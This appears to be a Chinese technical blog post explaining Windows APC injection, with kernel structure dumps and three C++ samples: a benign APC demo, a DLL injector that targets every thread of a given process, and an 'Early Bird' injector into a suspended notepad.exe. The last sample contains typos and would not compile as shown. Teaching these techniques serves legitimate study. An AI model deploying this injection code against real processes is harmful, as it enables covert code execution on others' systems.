APC注入

APC 注入

异步过程调用(APC, Asynchronous Procedure Call)是一种在Windows操作系统中使用的机制,允许在一个线程中调用另一个线程的函数,而不会阻塞调用线程。这种机制常用于需要在后台执行任务的情况,比如处理I/O操作或定时处理等

原理

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数

APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这两种APC的区别除了是否出3环之外还有

当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线
程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、
WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之
前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队,
因此当线程调用另一个可警告的等待函数时,APC 函数将被执行

如果我们不想用这些函数来触发APC,那么就应该在一开始创建进程的时候就挂起

在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QueueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数

1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断
(或者是Messagebox弹窗的时候不点OK的时候也能注入)
2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插
入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

简单来说,我的理解,往apc里面插函数,通过某种办法产生软中断使其执行APC队列里面的函数,达到抢夺APC队列的目的h

思路

1. OpenProcess 打开进程
2. VirtualAlloc 申请空间
3. WriteProcessMemory 写入dll信息
4.根据进程对应的线程id打开线程
5.使用 QueueUserApc 插入执行

关键函数

QueueUserAPC

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。

第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。

第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入

跟进(64位)

_KAPC_STATE这个结构在偏移0x98处

3: kd> dt _KTHREAD
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   +0x040 ThreadLock       : Uint8B
   +0x048 CycleTime        : Uint8B
......................
   +0x07e ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit
   +0x07f RunningNonRetpolineCode : Pos 0, 1 Bit
   +0x07f SpecCtrlSpare    : Pos 1, 7 Bits
   +0x07f SpecCtrl         : UChar
   +0x080 SystemCallNumber : Uint4B
   +0x084 ReadyTime        : Uint4B
   +0x088 FirstArgument    : Ptr64 Void
   +0x090 TrapFrame        : Ptr64 _KTRAP_FRAME
   +0x098 ApcState         : _KAPC_STATE//
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
  .......................................

而里面存储着我们需要的信息

3: kd> dt _KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY //2个APC队列 用户APC和内核APC
   +0x020 Process          : Ptr64 _KPROCESS//线程所属或者所挂靠的进程
   +0x028 InProgressFlags  : UChar
   +0x028 KernelApcInProgress : Pos 0, 1 Bit//内核APC是否正在执行
   +0x028 SpecialApcInProgress : Pos 1, 1 Bit
   +0x029 KernelApcPending : UChar//是否有正在等待执行的内核APC
   +0x02a UserApcPendingAll : UChar
   +0x02a SpecialUserApcPending : Pos 0, 1 Bit
   +0x02a UserApcPending   : Pos 1, 1 Bit

另一个结构_KAPC

.......//在 _KTHREAD中
+0x258 SavedApcStateFill : [43] UChar
   +0x283 WaitReason       : UChar
   +0x284 SuspendCount     : Char
   +0x285 Saturation       : Char
   +0x286 SListFaultCount  : Uint2B
   +0x288 SchedulerApc     : _KAPC //
   +0x288 SchedulerApcFill1 : [3] UChar
   +0x28b QuantumReset     : UChar
   +0x288 SchedulerApcFill2 : [4] UChar
3: kd> dt _KAPC
nt!_KAPC
   +0x000 Type             : UChar
   +0x001 AllFlags         : UChar
   +0x001 CallbackDataContext : Pos 0, 1 Bit
   +0x001 Unused           : Pos 1, 7 Bits
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr64 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY
   +0x020 KernelRoutine    : Ptr64     void 
   +0x028 RundownRoutine   : Ptr64     void 
   +0x030 NormalRoutine    : Ptr64     void //通过这里找到APC函数的地址
   +0x020 Reserved         : [3] Ptr64 Void
   +0x038 NormalContext    : Ptr64 Void
   +0x040 SystemArgument1  : Ptr64 Void
   +0x048 SystemArgument2  : Ptr64 Void
   +0x050 ApcStateIndex    : Char
   +0x051 ApcMode          : Char
   +0x052 Inserted         : UChar

APC队列插入

demo

自己实现APC队列的插入,在三环调用QueueUserAPC

尝试代码示例

// APC1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
DWORD WINAPI MyThread(LPVOID)
{
int i = 0;
while (true)
{
SleepEx(300, TRUE);
printf("%d\n", i++);
}
}
void __stdcall MyApcFunction(LPVOID)
{
	printf("Run APCFuntion\n");
	printf("APCFunction done\n");
}
int main(int argc, char* argv[])
{
HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);
Sleep(1000);
if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))
{
printf("QueueUserAPC error : %d\n", GetLastError());
}
getchar();
return 0;
}
//上面的代码如果成功,那么会在print的数字中间插入Run APCFuntion和APCFunction done

回去看下具体的函数结构

可以看见,我们调用的api还是从kernel32里面出来的

在这里插入图片描述

同理,继续去kernel32里面找,在kernelbase里面的QueueUserAPC函数里面找到了__imp_NtQueueApcThreadEx2

在这里插入图片描述

进入导入表中查看,果然是在ntdll里面

在这里插入图片描述

在ntdll里面找到具体的syscall

在这里插入图片描述

由于内核中的实现一般在ntoskrnl.exe中,所以可以直接在这个exe中找

在这里插入图片描述

可以看见最后是调用 KeInitializeApc 和 KeInsertQueueApc 这两个函数来实现APC的效果

在这里插入图片描述

这里我们需要提到内核APC和用户APC的区别,用户APC需要从三环返回零环来进行执行

Inject demo

// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
EnableDebugPrivilege();
//打开进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
//向目标进程申请空间写入dll全路径
int nSize = strlen(pszDllName);
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
PAGE_READWRITE);
SIZE_T dwWrittenSize = 0;
WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
//获取LoadLibraryA的地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");
//创建线程快照
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnap == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD dwRet = 0;
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwPid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
(ULONG_PTR)pDllAddr);
hThread = NULL;
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnap);
return TRUE;
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))
printf("APCInject failed\n");
else
printf("APCInject successfully\n");
}
else
{
printf("\nUsage: %s <PID> <Dllpath>\n");
printf("Example: %s 520 C:\\test.dll\n");
}
return 0;

这里就有一个问题,如果在一开始就让进程按照挂起的方式来进行创建,那么是不是就可以在APC队列插入的时候直接触发,这就是Early Bird注入

Early Bird demo

#include<Windows.h>
#include<stdio.h>

int main(){
    unsigned char DllPath[] = "C:\\User\\Excel\\Desktop\\Dll2.dll";
SIZE_T DllPathSize = sizeof(Dllpath);
STARTUPINFOA si ={0};
PROCESS_INFOMATION pi = {0};

//创建目标进程
if(!CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi)){
    printf("CreateProcessAError:%d",GetLastError());
return 1;
}
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

LPVOID pVirAddr = VirtualAllocEx(victimProcess,NULL,DllPathSize,NULL,MEM_COMMIT,PAGE_READWRITE);
if (NULL == pVirAddr){
    printf("VirtualAllocEx Error:%d\n",GetLastError());
    CloseHandle(victimProcess);
    CloseHandle(threadHandle);
     return 1;
}
//将Dll路径写入目标进程
if(!WriteProcessMemory(victimProcess,pVirAddr,DllPath,DllPathSize,NULL)){
    printf("WriteProcessMemory Error:%d\n",GetLastError());
    VirtualFreeEx(victimProcess,pVirAddr,0,MEM_RELEASE);
CloseHandle(victimProcess);
  CloseHandle(threadHandle);
  return 1;
}
//获取LoadLibraryA的函数地址
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
if(NULL == pFuncAddr){
    printf("GetProcAddress Error:%d\n",GetLastError());
    VirtualFreeEx(victimProcess,pVirAddr,0,MEM_RELESE);
    CloseHandle(victimProcess);
    CloseHandle(victimProcess);
    return 1;
}

//将APC添加到线程的APC队列
if(!QueueUserAPC((PAPCFUNC)pFunAddr,threadHandle,(ULONG_STR)pVirAddr)){
    printf("QueueUserAPC Error:%d\n",GetLastError()); VirtualFreeEx(victimProcess,pVirAddr,0,MEM_RELESE);
    CloseHandle(victimProcess);
    CloseHandle(victimProcess);
    return 1;
}
//恢复线程以执行APC
ResumeThread(threadHandle);
//等待一定时间以确保dll加载完成
Sleep(10000);

    TerminateProcess(victimProcess,0);
    VirtualFreeEx(victimProcess,pVirAddr,0,MEM_RELESE);
   CloseHandle(victimProcess);
    CloseHandle(threadHandle);
  return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值